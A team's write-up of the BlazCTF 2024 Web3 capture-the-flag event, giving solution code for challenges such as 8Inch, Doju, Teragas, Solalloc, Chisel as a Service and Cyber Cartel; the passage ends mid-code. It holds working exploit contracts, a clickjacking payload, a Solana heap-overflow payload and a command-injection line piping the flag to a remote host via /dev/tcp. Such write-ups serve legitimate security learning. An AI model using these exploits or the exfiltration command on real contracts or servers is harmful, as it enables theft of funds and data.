BlazCTF 2024 Writeup
Introduction
The BlazCTF 2024, hosted by Fuzzland, was an exhilarating 48-hour event packed with Web3 Capture The Flag (CTF) challenges. Security researchers from around the globe put their skills to the test, tackling everything from EVM smart contracts to blockchain security, wallet exploits, and cryptographic puzzles.
Our Amber Web3 Security team (competing as “Amber Labs”) proudly secured 7th place in this competitive arena. In this write-up, we’ll break down each challenge we faced, detailing the techniques and strategies we employed along the way.
Challenges Overview
The challenges spanned a wide array of topics, including EVM smart contracts, MEV exploitation, blockchain security, wallet security, and cryptography. Participants delved into critical vulnerabilities, such as smart contract access control bypasses and sophisticated cross-chain bridge attacks.
Challenges Walkthrough
Ciao
This challenge involved analyzing an Arbitrum transaction: 0xd58271ed821a19fa5af95245e2be55782cad67f46556aa437e1af157267ce6d4. Using Phalcon to decode the transaction, we discovered an unusal string sent to the “KyberSwap Exploiter” as the “calldata”:
Since it appeared to be ASCII in HEX format, we decoded it with an online decoder. To our surprise, the decoded string still resembled ASCII, prompting us to decode it again, which ultimately revealed the flag.
BigenLayer
The objective here was to steal TIM_COOK’s iPhone16
which had been staked into the BigenLayer
contract. The contract snippet was as follows:
contract Challenge {
address public immutable PLAYER;
BigenLayer public immutable bigen;
iPhone16 public immutable token;
address public constant OWNER = 0x71556C38F44e17EC21F355Bd18416155000BF5a6;
address public constant TIM_COOK = 0x2011082420110824201108242011082420110824;
constructor(address player) {
PLAYER = player;
token = new iPhone16();
bigen = new BigenLayer(OWNER, token);
token.approve(address(bigen), type(uint256).max);
bigen.stake(TIM_COOK, 16 * 10 ** 18);
}
function isSolved() external view returns (bool) {
return token.balanceOf(PLAYER) >= 16 * 10 ** 18;
}
}
In the BigenLayer
contract, the requestWithdrawal()
function is designed to initiate a withdrawal with two parameters, amount
and recipient
. Later on, any user can call the finalizeWithdrawal()
to literally transfer amount
of iPhone16
to the recipient
. However, only TIM_COOK can requestWithdrawal()
for himself by design. We cannot do it for him unless we have the private key of the OWNER. Specifically, the adminRequestWithdrawal()
can initiate a withdrawal with arbitrary (amount, recipient)
for any user
including TIM_COOK.
function adminRequestWithdrawal(address user, uint256 amount, address recipient) external {
require(msg.sender == owner, "Only owner can call this function");
_requestWithdrawal(user, amount, recipient);
}
Solution
The key to solving this challenge is the private key of OWNER (0x71556C38F44e17EC21F355Bd18416155000BF5a6
). After googling the address for a while, we found the private key in a document named xaviers.txt. We then executed the following:
adminRequestWithdrawal(TIM_COOK, 16 * 10 ** 18, PLAYER); // with OWNER's private key 0x000...1337
finalizeWithdrawal(TIM_COOK);
It’s worth noting that the OWNER began with no ETH. We first sent some ETH from PLAYER to OWNER before making the adminRequestWithdrawal()
call.
8Inch
This challenge revolved around stealing 10 wojak assets from the NFT marketplace-like contract, TradeSettlement
. The 10 wojak were transferred into the marketplace contract via a createTrade()
call, selling them for 1 weth. One obvious way out was the settleTrade()
function. If we had 1 weth, we could simply take the order. However, the PLAYER started with nothing — 0 weth and 0 wojak.
Precision Error
At first glance, we spotted a precision error in the settleTrade()
function. If _amountToSettle
was less than 10 (e.g., 9), tradeAmount / trade.amountToSell
would be 9 * 1 / 10 = 0
. Then, we could spend 0 weth to get 9 wei of wojak. Unfortunately, this method proved ineffective, as we couldn’t get amass enough wojak before the instance reset.
function settleTrade(uint256 _tradeId, uint256 _amountToSettle) external nonReentrant {
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(_amountToSettle > 0, "Invalid settlement amount");
uint256 tradeAmount = _amountToSettle * trade.amountToBuy;
require(trade.filledAmountToSell + _amountToSettle <= trade.amountToSell, "Exceeds available amount");
require(
IERC20(trade.tokenToBuy).transferFrom(msg.sender, trade.maker, tradeAmount / trade.amountToSell),
"Buy transfer failed"
);
require(IERC20(trade.tokenToSell).transfer(msg.sender, _amountToSettle), "Sell transfer failed");
}
SafeUint112
Couple hours later, we revisited this challenge and identified something interesting in the SafeUint112
library. Specifically, the require(uint256(a) * b <= (1 << 112), …
statement in safeMul()
could make an overflowed multiplication legit when the product is exactly (1 << 112)
. For example, safeMul(0x8000..000, 2)
would not be reverted. Instead, 0
would be returned.
/// @dev safeMul is a function that multiplies two uint112 values, and reverts on overflow
function safeMul(uint112 a, uint256 b) internal pure returns (uint112) {
require(uint256(a) * b <= (1 << 112), "SafeUint112: value exceeds uint112 max");
return uint112(a * b);
}
Additionally, in safeCast()
, if the value
exactly equals (1 << 112)
, it would return0
with no error. For example, safeCast(0x7fff..fff + 1)
would not be reverted but 0
would be returned.
/// @dev safeCast is a function that converts a uint256 to a uint112, and reverts on overflow
function safeCast(uint256 value) internal pure returns (uint112) {
require(value <= (1 << 112), "SafeUint112: value exceeds uint112 max");
return uint112(value);
}
scaleTrade function
So, how to trigger the flawed safeMul()
? The scaleTrade()
function seemed buggy. We could intentionally scaleTrade()
an order to make amountToBuy=0
and amountToSell > 0
. Then, the we could pay 0 weth and walk away with a bag of wojak.
function scaleTrade(uint256 _tradeId, uint256 scale) external nonReentrant {
require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(scale > 0, "Invalid scale");
require(trade.filledAmountToBuy == 0, "Trade is already filled");
uint112 originalAmountToSell = trade.amountToSell;
trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
if (originalAmountToSell < newAmountNeededWithFee) {
require(
IERC20(trade.tokenToSell).transferFrom(
msg.sender, address(this), newAmountNeededWithFee - originalAmountToSell
),
"Transfer failed"
);
}
}
For example, when amountToSell=1
and amountToBuy=0x8000..000
, you could simply scaleTrade(, 2)
to make amountToSell=2
and amountToBuy=0
.
Solution
Since each scaleTrade()
costs fee
, we first exploited the precision error bug to get some wojak for fees.
//get some wojak
for (uint256 i = 0; i < 20; i++) {
IBar(market).settleTrade(0, 9);
}
Next, we created an order with a large _amountToBuy=0x8000..000
, which would be 0
after one scaleTrade(, 2)
. Here, we intentionally set the _amountToSell=fee + 1
simply because createTrade()
setting amountToSell = _amountToSell — fee
so that we could have a minimal amountToSell=1
.
//create trade
IERC20(wojak).approve(market, IERC20(wojak).balanceOf(address(this)));
IBar(market).createTrade(wojak, wojak, 31, 0x8000000000000000000000000000);
Afterward, we manipulated the numbers and created some fake records on the marketplace. First, the scaleTrade(1, 2)
call made (amountToSell, amountToBuy)
to (2, 0)
. It seemed good for us to get 2 wojak for free. However, it’s not good enough.
//scale trade to create fake records
IBar(market).scaleTrade(1, 2);
IBar(market).scaleTrade(1, 0x8000000000000000000000000000-15);
The black magic was scale the order again to let amountToBuy = (1<<112) — fee
. This way, the newAmountNeededWithFee
in scaleTrade()
would be 0, meaning that we didn’t need to pay for the scaleTrade()
call but get a huge amountToBuy
. Since the amountToBuy
was 2 after the first scaleTrade()
call, the scale
parameter then should be ((1<<112) — fee)/2) = 0x8000000000000000000000000000–15
.
//take wojak out
IBar(market).settleTrade(1, IERC20(wojak).balanceOf(market));
//wrap up
IERC20(wojak).transfer(address(0xc0ffee), 10 ether);
require(IFoo(chal).isSolved(), "!solved");
With the fabricated order records, we successfully settled the order and obtained an arbitrary number of wojak with 0 weth. After that, we could transfer 10 wojak to 0xc0ffee
and solve the challenge.
Doju
This objective of this challenge was to get a huge amount of Doju tokens.
contract Challenge {
Doju public doju;
constructor() {
doju = new Doju();
}
function claimTokens() public {
doju.transfer(msg.sender, doju.balanceOf(address(this)));
}
function isSolved() public view returns (bool) {
return doju.balanceOf(address(0xc0ffee)) > type(uint256).max / 2;
}
}
Initially, the Challenge
started with100 Doju tokens. Anyone could claimTokens()
to get that 100 Doju but it’s far from the desired amount (i.e., type(uint256).max / 2
+ 1).
constructor() {
// total supply of 100 tokens
totalSupply = 100 ether;
balanceOf[msg.sender] = 100 ether;
// pre-mint max tokens to contract
balanceOf[address(this)] = type(uint256).max - totalSupply;
}
The Vulnerability
We soon discovered something intriguing in the sellTokens()
funciton. While it’s standard to send ETH to the to
address but the long calldata, (minOut, to, tokenAmount, msg.sender, ethValue)
looked suspicious.
function sellTokens(uint256 tokenAmount, address to, uint256 minOut) public {
uint256 ethValue = _tokensToEth(tokenAmount);
_transfer(msg.sender, address(this), tokenAmount);
totalSupply -= tokenAmount;
(bool success,) =
payable(to).call{value: ethValue}(abi.encodePacked(minOut, to, tokenAmount, msg.sender, ethValue));
require(minOut > ethValue, "minOut not met");
require(success, "Transfer failed");
emit Burn(msg.sender, tokenAmount);
emit Transfer(msg.sender, address(0), tokenAmount);
}
If we could call the Doju
contract itself with a customized calldata, we might have to chance to do something evil.
function transfer(address to, uint256 value) public returns (bool success) {
if (to == BURN_ADDRESS) {
sellTokens(value, msg.sender, 0);
return true;
}
_transfer(msg.sender, to, value);
return true;
}
The transfer()
function was a perfect candidate. A customized minOut
could be used to control the 4-bytes function signature and the first 16 bytes of the to
address. And, the first 4 bytse of the Doju
address would be the last 4 bytes of the to
address while the rest of the Doju
adderss would be the higher bits of the value
. This meant we could somehow make Doju
transfer some Doju to a controllable address. The following table illustrates how we could construct the calldata to play a trick on the Doju
contract:
offset (byte) : 0 4 32 36 64 68
sellTokens() : <--- minOut ---> <--- Doju ---> <--- tokenAmount --->
a9059cbb 000 ... XXXXX YYYYYYYY ... YYYYY 00000 ... 000
transfer() : < sig > <--- to ---> <--- value --->
Solution
Since the Doju
address started with 0xC47fCC04
, we generated an address matching the XXX..XXXc47fcc04
pattern with profanity2. Then, with two sellTokens()
calls as follows, we could get enough Doju tokens:
address doju = IFoo(chal).doju();
IBar(doju).sellTokens(0, doju, 0xa9059cbb000000000000000000000000f5171A3CA07Cb68267Ca5EE568f40DFa);
// ^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// sig of transfer() first 16 bytes of the vanity addr
IBar(doju).sellTokens(0, doju, 0xa9059cbb000000000000000000000000f5171A3CA07Cb68267Ca5EE568f40DFa);
require(IBar(doju).balanceOf(address(0xf5171A3CA07Cb68267Ca5EE568f40DFaC47fCC04)) > type(uint256).max/2, "!solved");
Finally, we transferred those Doju tokens to 0xc0ffee
and solved the challenge.
Oh Fuck
This challenge was about finding a path to transfer 337 AMAZING tokens out from the PendleRouterV3
, which was deployed at 0x00000000005BBB0EF59571E58418F9a4357b68A0
.
function _transferOut(address token, address to, uint256 amount) internal {
if (amount == 0) return;
if (token == NATIVE) {
(bool success, ) = to.call{value: amount}("");
require(success, "eth send failed");
} else {
IERC20(token).safeTransfer(to, amount);
}
}
Upon examining the codebase, we realized that the _transferOut()
function provided an opportunity. Then, we started to find the path to a _transferOut()
call with controllable parameters.
function _redeemSyToToken(
address receiver,
address SY,
uint256 netSyIn,
TokenOutput calldata out,
bool doPull
) internal returns (uint256 netTokenOut) {
SwapType swapType = out.swapData.swapType;
if (swapType == SwapType.NONE) {
netTokenOut = __redeemSy(receiver, SY, netSyIn, out, doPull);
} else if (swapType == SwapType.ETH_WETH) {
netTokenOut = __redeemSy(address(this), SY, netSyIn, out, doPull); // ETH:WETH is 1:1
_wrap_unwrap_ETH(out.tokenRedeemSy, out.tokenOut, netTokenOut);
_transferOut(out.tokenOut, receiver, netTokenOut);
} else {
uint256 netTokenRedeemed = __redeemSy(out.pendleSwap, SY, netSyIn, out, doPull);
IPSwapAggregator(out.pendleSwap).swap(out.tokenRedeemSy, netTokenRedeemed, out.swapData);
netTokenOut = _selfBalance(out.tokenOut);
_transferOut(out.tokenOut, receiver, netTokenOut);
}
if (netTokenOut < out.minTokenOut) {
revert Errors.RouterInsufficientTokenOut(netTokenOut, out.minTokenOut);
}
}
We identified the _redeemSyToToken()
function which invoked _transferOut()
with a controllable out
data structure and receiver
in the else case (i.e., swapType != SwapType.NONE
and swapType != SwapType.ETH_WETH
).
function redeemSyToToken(
address receiver,
address SY,
uint256 netSyIn,
TokenOutput calldata output
) external returns (uint256 netTokenOut) {
netTokenOut = _redeemSyToToken(receiver, SY, netSyIn, output, true);
emit RedeemSyToToken(msg.sender, output.tokenOut, SY, receiver, netSyIn, netTokenOut);
}
Moreover, the external function redeemSyToToken()
calls _redeemSyToToken()
without checking or altering output
and receiver
parameters.
Solution
Based on the analysis above, we deployed an exploit contract which called the redeemSyToToken()
function of PendleRouterV3
with dummy redeem()
and swap()
external functions. With the well-prepared out
data structure, we could trick PendleRouterV3
to redeem and swap nothing but transfer all out.token
out.
function test_go() public {
address pendle = address(0x00000000005BBB0EF59571E58418F9a4357b68A0);
address token = IFoo(chal).token();
SwapData memory s = SwapData({
swapType: SwapType.ONE_INCH,
extRouter: address(this),
extCalldata: hex"",
needScale: false
});
TokenOutput memory out = TokenOutput({
tokenOut: token,
minTokenOut: 0,
tokenRedeemSy: address(this),
pendleSwap: address(this),
swapData: s
});
IBar(pendle).redeemSyToToken(address(this), address(this), 0, out);
IERC20(token).transfer(msg.sender, 337 ether);
}
function redeem(address, uint256, address, uint256, bool) external returns (uint256) {
return 0;
}
function swap(address, uint256, SwapData calldata) external payable {
}
After successfully extracting 1337 AMAZING from the victim contract, we could easily send those AMAZING tokens to the PLAYER
address (i.e., the msg.sender
to trigger the exploit contract) and solve the challenge.
Teragas
In this King of the Hill (KotH) challenge, the player must deploy a contract with an exploit()
external function to gather ETH on forked Ethereum chain. Initially, it seemed impossible to collect ETH without exploiting existing vulnerabilities. However, after reviewing the implementation of the light-client
, we discovered that the call
instruction was not implemented correctly. In particular, whenever a call
reverts, the states would not be reset. It meant we could somehow keep the state changes (e.g., token balances) in a reverted call
. Based on that, we soon started to implement different kinds of flash-loan libraries which could easily get lots of weth.
UniswapV2
The UniswapV2’s flash-swap was the first one we implemented. We simply getReserves()
and called swap()
with try-catch to ignore the revert and get WETH back. Note that WETH could be in token0
or token1
. Therefore, we had UniV20
and UniV21
libraries to fit different WETH pools without spending extra gas for token0()
or token1()
staticalls.
library UniV20 {
function exploit(address target) internal {
(uint112 balance,,) = IBar(target).getReserves();
try IBar(target).swap(balance - 1, 1, address(this), "") {} catch {}
}
}
library UniV21 {
function exploit(address target) internal {
(, uint112 balance,) = IBar(target).getReserves();
try IBar(target).swap(1, balance - 1, address(this), "") {} catch {}
}
}
UniswapV3
The UniswapV3’s flash()
was also an easy one, similar to UniswapV2’s flash-swap. Fortunately, all V3 pools had WETH in token1
. We only implemented the token1
style UniV3
library by getting the WETH balance of the pool and invoke the flash()
function.
library UniV3 {
function exploit(address target) internal {
uint256 bal = IFoo(weth).balanceOf(target);
try IBar(target).flash(address(this), 0, bal-1, "") {} catch {}
}
}
Aave & Balancer
Aave and Balancer have a similar flash-loan feature. The tokens and the amounts to borrow were put into arrays and passed into the flashLoan()
function except that Aave had a third array for modes
.
library Aave {
function exploit(address target) internal {
address[] memory assets = new address[](1);
assets[0] = weth;
uint256[] memory amounts = new uint256[](1);
amounts[0] = IFoo(weth).balanceOf(target);
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
address pool = IBar(target).POOL();
try IBar(pool).flashLoan(address(this), assets, amounts, modes, address(this), "", 0) {} catch {}
}
}
library Balancer {
function exploit(address target) internal {
address[] memory tokens = new address[](1);
tokens[0] = weth;
uint256[] memory amounts = new uint256[](1);
amounts[0] = IFoo(weth).balanceOf(target);
try IBar(target).flashLoan(address(this), tokens, amounts, "") {} catch {}
}
}
GemJoin
After implementing the above flash-loan libraries, we noticed that the top 2 WETH holders were MakerDAO’s GemJoin
contracts. This was an interesting one since GemJoin.join()
updates states before transferFrom()
which was doomed to fail.
function join(address usr, uint wad) external note {
require(live == 1, "GemJoin/not-live");
require(int(wad) >= 0, "GemJoin/overflow");
vat.slip(ilk, usr, int(wad));
require(gem.transferFrom(msg.sender, address(this), wad), "GemJoin/failed-transfer");
}
Since the states were created, we could simply GemJoin.exit()
to get WETH out with the fabricated states.
library GemJoin {
function exploit(address target) internal {
uint256 balance = IFoo(weth).balanceOf(target);
target.call(abi.encodeWithSignature("join(address,uint256)", address(this), balance));
target.call(abi.encodeWithSignature("exit(address,uint256)", address(this), balance));
}
}
Solution
Using the libraries outlined above, we searched the supported pools from top 50 WETH holders and included them all in our exploit()
function.
function exploit() public payable {
GemJoin.exploit(0xF04a5cC80B1E94C69B48f5ee68a08CD2F09A7c3E); // 1
GemJoin.exploit(0x2F0b23f53734252Bda2277357e97e1517d6B042A); // 2
Aave.exploit(0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8); // 3
Aave.exploit(0x030bA81f1c18d280636F32af80b9AAd02Cf0854e); // 4
UniV3.exploit(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD); // 6
Aave.exploit(0x59cD1C87501baa753d0B5B5Ab5D8416A45cD71DB); // 8
GemJoin.exploit(0x08638eF1A205bE6762A8b935F5da9b700Cf7322c); // 9
Balancer.exploit(0xBA12222222228d8Ba445958a75a0704d566BF2C8); //10
UniV21.exploit(0x21b8065d10f73EE2e260e5B47D3344d3Ced7596E); //11
UniV20.exploit(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); //13
UniV3.exploit(0x4e68Ccd3E89f51C3074ca5072bbAC773960dFa36); //14
UniV3.exploit(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640); //15
UniV3.exploit(0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8); //16
UniV3.exploit(0x4585FE77225b41b697C938B018E2Ac67Ac5a20c0); //17
UniV21.exploit(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc); //19
Aave.exploit(0xfA1fDbBD71B0aA16162D76914d69cD8CB3Ef92da); //20
UniV3.exploit(0xC5c134A1f112efA96003f8559Dba6fAC0BA77692); //30
UniV3.exploit(0x202A6012894Ae5c288eA824cbc8A9bfb26A49b93); //33
UniV3.exploit(0x7A415B19932c0105c82FDB6b720bb01B0CC2CAe3); //35
UniV21.exploit(0xA43fe16908251ee70EF74718545e4FE6C5cCEc9f); //36
UniV3.exploit(0x15aA01580ae866f9FF4DBe45E06e307941d90C7b); //38
UniV21.exploit(0xCEfF51756c56CeFFCA006cD410B03FFC46dd3a58); //39
GemJoin.exploit(0x2D3cD7b81c93f188F3CB8aD87c8Acc73d6226e3A); //41
UniV3.exploit(0x059615EBf32C946aaab3D44491f78e4F8e97e1D3); //43
UniV3.exploit(0x40e629a26D96baa6d81FAe5F97205c2Ab2c1fF29); //44
UniV3.exploit(0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa); //45
UniV3.exploit(0x04708077eCa6bb527a5BBbD6358ffb043a9c1C14); //46
UniV3.exploit(0x11b815efB8f581194ae79006d24E0d814B7697F6); //50
// collect eth
uint256 bal = IFoo(weth).balanceOf(address(this));
IFoo(weth).withdraw(bal-1);
}
Finally, we did WETH.withdraw()
to convet WETH to 1532119 ETH.
Oh Fuck Again
This was a reverse-engineering challenge. The player was asked get 337 WBTC tokens from 0xCf9997FF3178eE54270735fDc00d4A26730787E0
without source code.
Since we aimed to transfer WBTC from the victim contract to an arbitrary address, we searched the transfer()
calls in the decompiled Solidity code. As shown in the screenshot above, the function 0x10b2()
appeared to be a promising candidate for transferring WBTC. Specifically, the three parameters of 0x10b2()
were (amount, to, token)
, which indicated that we could send an arbitrary amount
of tokens
to an arbitrary to
address.
Next, we needed to find a path to 0x10b2()
. At the end of the dispatcher, we found a suitable candidate to trigger 0x10b2()
. The calls msg.sender.token0()
or msg.sender.token1()
were used to get the token address (v91
). The to
address was already set to the msg.sender
. We only needed to prepare a proper v87
, which was part of calldata (i.e., msg.data[v0] >> 128
).
But how could we reach the end of the dispatcher? We needed to ensure that v11 — v0 = 16
so that we could jump to the else case mentioned above. Here, v0
was 132 and v11
was calculated as v0 + msg.data[v0 -32] — 17
which simplified tomsg.data[100] + 116
. From this, we could easily derive msg.data[100] = v11–116 = (v0+16) — 116 = 33
.
Solution
Based on our analysis, we could deploy an exploit contract that made an external call to the victim contract with msg.data[100] = 33
to trigger the else case. Then, the token
to transfer could be simply controlled through an external view function, token0()
. The amount
to transfer could be embedded in the higher 128 bits of msg.data[132]
.
function test_go() public {
address victim = address(0xCf9997FF3178eE54270735fDc00d4A26730787E0);
address wbtc = IFoo(chal).token();
(bool ok,) = victim.call(
abi.encodePacked(
bytes4(0x11223344),
uint256(0), // msg.data[ 4]
uint256(0), // msg.data[ 36]
uint256(0), // msg.data[ 68]
uint256(33), // msg.data[100]
uint128(1337000000000000000000), uint128(0), // msg.data[132]
uint256(0), // msg.data[164]
uint256(0) // msg.data[196]
)
);
require(ok, "call failed");
IERC20(wbtc).transfer(msg.sender, 1337000000000000000000);
require(IFoo(chal).isSolved(), "!solved");
}
function token0() external view returns (address) {
address wbtc = IFoo(chal).token();
return wbtc;
}
After receiving 1337 WBTC from the victim contract, we could easily send WBTC to the PLAYER
address (i.e., the msg.sender
to trigger the exploit contract) and complete the challenge.
Tonyallet
Tonyallet was a Telegram Mini App where users can write and view posts. An admin runs the following script to check posts:
# Visit the post page
selenium_obj.get(f"{host}/post?id={post_id}")
time.sleep(1)
# Click the back button
screen_width = selenium_obj.execute_script("return window.screen.width;")
ActionChains(selenium_obj) \
.move_by_offset(screen_width / 2, 10) \
.click() \
.perform()
time.sleep(1)
# Open the home page with TG App initData
selenium_obj.get(f"{host}/#tgWebAppData=" + open("tgWebApp.txt").read())
time.sleep(2)
# Read id=walletAddress
wallet_address = selenium_obj.find_element(By.ID, "walletAddress").text
if not re.match(r"^0x[a-fA-F0-9]{40}$", wallet_address):
return "Failed to get wallet address"
# Send 0.1 ether to the wallet address
os.system(f"cast send --private-key {os.getenv('PRIVATE_KEY')} {wallet_address} --value 0.1ether --rpc-url {os.getenv('RPC_URL')}")
The script performed the following steps:
1. Visits the post page.
2. Clicks the back button.
3. Opens the home page with TG App initData.
4. Reads the wallet address.
5. Sends 0.1 ether to the wallet address.
6. The goal is to make the admin send 0.1 ether to the user’s wallet.
Solution
To hijack the wallet address that Selenium retrieved from the page in step 4, we could send a post containing an HTML tag. XSS with JavaScript wasn’t feasible because the content was sanitized by the latest version of DOMPurify.sanitize
.
Since the admin clicked a button on the page in step 2, we could overlay our HTML tag over the button using CSS.
This way, the admin would click our HTML tag instead of the button, redirecting them to a URL we controlled.
<a href="#" style="position: absolute; top: 0px; width: 1000px; height: 1000px;">aaa</a>
The page at https://tonyallet-us.ctf.so/#tgWebAppData=
indicated that the wallet address had been cached in the local storage:
let localAddress = localStorage.getItem("walletAddress");
if (localAddress && !bypass) {
document.getElementById('walletAddress').textContent = localAddress;
}
We could redirect the admin’s click to our wallet page in step 2, causing our wallet address to be cached in the local storage.
When the admin viewed https://tonyallet-us.ctf.so/#tgWebAppData=
again in step 3 and read the wallet address in step 4, it would show our address.
Consequently, we would get the 0.1 ETH in our wallet in step 5. Here’s the final payload:
<a href="https://tonyallet-us.ctf.so/#tgWebAppData=_fill_with_your_tgWebAppData" style="position: absolute; top: 0px; width: 1000px; height: 1000px;">aaa</a>
Solalloc
The challenge was a Solana program that allowed users to deposit SOL tokens, but only the program owner could withdraw them.
case WITHDRAW: {
...
// only owner can withdraw
if (memcmp(accounts[DATA_ACCOUNT].data, &caller_key,
SIZE_PUBKEY) != 0) {
return ERROR_BLAZ;
}
...
The SOL tokens were stored in a data account, and the goal was to withdraw SOL tokens from the data account.
Solution
When depositing and withdrawing, we could write a message on the heap.
case WITHDRAW: {
offset += sizeof(uint64_t);
uint64_t amount = current_input->amount;
offset += sizeof(uint64_t);
char *message =
(char *)malloc(allocator, current_input->msg_size);
if (message != NULL) {
strcpy(message, (char *)¤t_input->msg);
offset += strlen(message) + 1;
}
...
The program implemented a malloc
function that was vulnerable to integer overflow. We could make free_ptr
point to a location below the heap start address.
void *malloc(BlazAllocator *self, uint64_t size) {
if (size == 0) {
return NULL;
}
uint64_t size_aligned = (size + 7) & ~7;
if (self->free_ptr + size_aligned > HEAP_END_ADDRESS_) {
return NULL;
}
uint64_t *ptr = (uint64_t *)self->free_ptr;
self->free_ptr += size_aligned;
return ptr;
}
The virtual address memory map in Solana programs was laid out as follows:
Program code starts at 0x100000000
Stack data starts at 0x200000000
Heap data starts at 0x300000000
Program input parameters start at 0x400000000
To bypass the memcmp(accounts[DATA_ACCOUNT].data, &caller_key, SIZE_PUBKEY)
check, we needed to overwrite the caller_key
which was stored in the stack.
Overwriting the owner field of the data account was not possible because it was located above the heap.
By leveraging the integer overflow in malloc
, we could make free_ptr
point to the caller_key
in the stack and overwrite it with a message we controlled.
Here’s the final payload:
def userinput(bump, type, amount, msg_size, msg):
return pwn.p8(bump) + pwn.p8(type) + pwn.p64(amount) + pwn.p64(msg_size) + msg
instruction_data = b""
instruction_data += b"\x02" # actions len
instruction_data += userinput(bump, 1, 1, 0xffffffff00000fd8, b'\x00') # 0x1ffffffe0 deposit to change free pointer
assert b'\x00' not in base58.b58decode(accounts["admin"])
instruction_data += userinput(bump, 2, 2_000_000_000, 8, base58.b58decode(accounts["admin"]) + b'\x00') # withdraw overwrite data owner
This payload manipulated the free_ptr
to point to the caller_key
in the stack, allowing us to overwrite it and bypass the ownership check, thus enabling the withdrawal of SOL tokens.
Chisel as a Service
Chisel is the Solidity interpreter in Foundry, and this challenge provided a web interface to interact with Chisel running on the server.
The goal was to exploit Chisel to read the flag on the server.
Solution
Chisel has a built-in function !exec to execute shell commands, but it is filtered.
The !edit command works and opens vim
by default.
// open the temp file with the editor
let editor = std::env::var("EDITOR").unwrap_or_else(|_| "vim".to_string());
let mut cmd = Command::new(editor);
cmd.arg(&temp_file_path);
We could use vm.setEnv
cheatcode to set the EDITOR
environment to a shell command and then use !edit
to execute the command.
address vm = address(uint160(uint256(keccak256("hevm cheat code"))));
vm.call(abi.encodeWithSignature("setEnv(string,string)", "EDITOR", "ls"));
But it was not possible to control the arguments to the command. The command had one default arguments temp_file_path
which was the file to be edited. The temp_file_path
included the history of the solidity code executed in the chisel. We could set EDITOR
to bash
and execute our controlled solidity code. We needed to find a valid solidity code and also valid in bash to read the flag.
By using strings, we could execute arbitrary bash commands. Since stderr was not redirected, we needed to send the output via network.
Here’s the final payload:
"aaaa `cat /flag*.txt > /dev/tcp/xxx.xxx.xxx.xxx/1234`" ;
address vm = address(uint160(uint256(keccak256("hevm cheat code"))));
vm.call(abi.encodeWithSignature("setEnv(string,string)", "EDITOR", "bash"));
!edit
Cyber Cartel
This challenge involved stealing all ETH stored in the CartelTreasury
contract. The obvious route was the doom()
function, which sent all the ETH to msg.sender
:
function doom() external guarded {
payable(msg.sender).transfer(address(this).balance);
}
However, this function could not be called easily because of the guarded
modifier.
modifier guarded() {
require(bodyGuard == address(0) || bodyGuard == msg.sender, "Who?");
_;
}
This meant that the three people, Malone, Wiz, and Box, must all sign off to execute the doom()
function. Alternatively, we could set bodyGaurd
to address(0)
. Since the BodyGuard
contract did not have a fallback function to receive ETH, an external call from BodyGuard
to CartelTreasury.doom()
would fail. Therefore, we first need to dismiss the bodyGuard
using the gistCartelDismiss()
function, then execute the doom()
to steal the ETH.
/// Dismiss the bodyguard
function gistCartelDismiss() external guarded {
bodyGuard = address(0);
}
Next, we needed to deal with the BodyGuard
contract and see if we could execute a proposal from one and the only guardian, Box.
function validateSignatures(bytes32 digest, bytes[] memory signaturesSortedBySigners) public view returns (bool) {
bytes32 lastSignHash = bytes32(0); // ensure that the signers are not duplicated
for (uint256 i = 0; i < signaturesSortedBySigners.length; i++) {
address signer = recoverSigner(digest, signaturesSortedBySigners[i]);
require(guardians[signer], "Not a guardian");
bytes32 signHash = keccak256(signaturesSortedBySigners[i]);
if (signHash <= lastSignHash) {
return false;
}
lastSignHash = signHash;
}
return true;
}
The validateSignatures()
function seemed the new way out. We identified a flaw in the checking logic for duplicate signatures. Specifically, since each signaturesSortedBySigners[i]
was hashed and compared with lastSignHash
(i.e., signaturesSortedBySigners[i-1]
), we could intentionally re-use a signature by padding dummy data in the end of the bytes[]
array. As shown in the code snippets below, the recoverSigner()
function retrieved (r, s, v)
by offset and length. A longer signature didn’t matter but could be used to create a different hash value to bypass the check in validateSignatures()
.
function recoverSigner(bytes32 digest, bytes memory signature) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
return ecrecover(digest, v, r, s);
}
Since Box was a guardian
, she could sign the digest
message and then construct the signature array as follows:
bytes[] memory signatures;
signatures[0] = abi.encodePacked(r, s, v);
signatures[1] = abi.encodePacked(r, s, v, "padding");
This bypasses the multisig check. The gistCartelDismiss()
function could then be called through the proposal.data
to set the bodyGuard
address to address(0)
, allowing any address to later call the doom()
function and extract all the ETH.
Proof of Concept
A detailed proof of concept could be found here.
Tonylend & Tonylend2
The TonyLend
is a decentralized lending protocol that allows users to deposit assets, borrow against their deposits, and withdraw their assets.
Challenge Contract
The Challenge
contract deployed two ERC20 tokens, usde
and usdc
, and a lending protocol TonyLend
. The goal was to meet the condition specified in the isSolved
function. The isSolved
function checked if the balance of usde in the address 0xc0ffee
was at least 21926.
function isSolved() external view returns (bool) {
return usde.balanceOf(address(0xc0ffee)) >= 21926 ether;
}
The Vulnerability — 1
The withdraw
function in the TonyLend
contract had a critical flaw in its implementation. The issue lied in the order of operations within the function. Specifically, the function first checked the healthFactor
before reducing the account.deposited
balance. This sequence allowed a user to withdraw their collateral even if it resulted in under-collateralization.
function withdraw(uint256 _assetId, uint256 _amount) external nonReentrant {
require(_assetId < assetCount, "Invalid asset");
require(_amount > 0, "Amount must be greater than 0");
updateInterest(msg.sender, _assetId);
UserAccount storage account = userAccounts[msg.sender];
Asset storage asset = assets[_assetId];
require(account.deposited[_assetId] >= _amount, "Insufficient balance");
uint256 healthFactor = calculateHealthFactor(msg.sender);
